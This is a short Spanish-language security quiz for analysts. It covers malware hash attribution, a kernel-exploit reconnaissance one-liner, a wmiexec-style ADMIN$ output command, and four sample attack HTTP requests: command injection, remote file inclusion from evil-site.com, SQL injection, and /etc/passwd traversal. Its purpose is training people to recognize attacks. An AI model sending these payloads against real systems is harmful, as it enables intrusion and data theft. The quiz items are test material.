Quiz de Seguridad Informática y EDR

Con que esta relacionado el siguiente hash:

94c37650f04d1723af41c74298f2287d

• Vidar

• Costco

• Remcos

• Quasar

• Emotet

Nos encontramos con:
uname -a

echo "internal user"

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

¿Que intenta?

• Sacar el Sistema Operativo

• Es un malware malisimo

• La ejecución esta relacionada con la botnet Mirai

• La ejecución esta buscando un exploit

Completa el comando "cmd.exe /Q /C ls 1> \\\\127.0.0.1\ADMIN$\__1722938375 "

Día que Crowdstrike metió mucho la pata

• 17/7/24

• 10/7/24

• 29/7/24

• 19/7/24

Que es esto:

GET /vulnerable.php?cmd=echo%20$(id) HTTP/1.1

Host: vulnerable-website.com

User-Agent: Mozilla/5.0

Accept: text/html

• SQLI

• RFI

• LFI

• RCE

Que es esto:

GET /index.php?page=http://evil-site.com/shell.txt HTTP/1.1

Host: vulnerable-website.com

User-Agent: Mozilla/5.0

Accept: text/html

• SQLI

• RFI

• LFI

• RCE

Que es esto:

GET /products?id=1' OR '1'='1 HTTP/1.1

Host: vulnerable-website.com

User-Agent: Mozilla/5.0

Accept: text/html

• SQLI

• RFI

• LFI

• RCE

Que es esto:

GET /index.php?page=../../../../etc/passwd HTTP/1.1

Host: vulnerable-website.com

User-Agent: Mozilla/5.0

Accept: text/htm

• SQLI

• RFI

• LFI

• RCE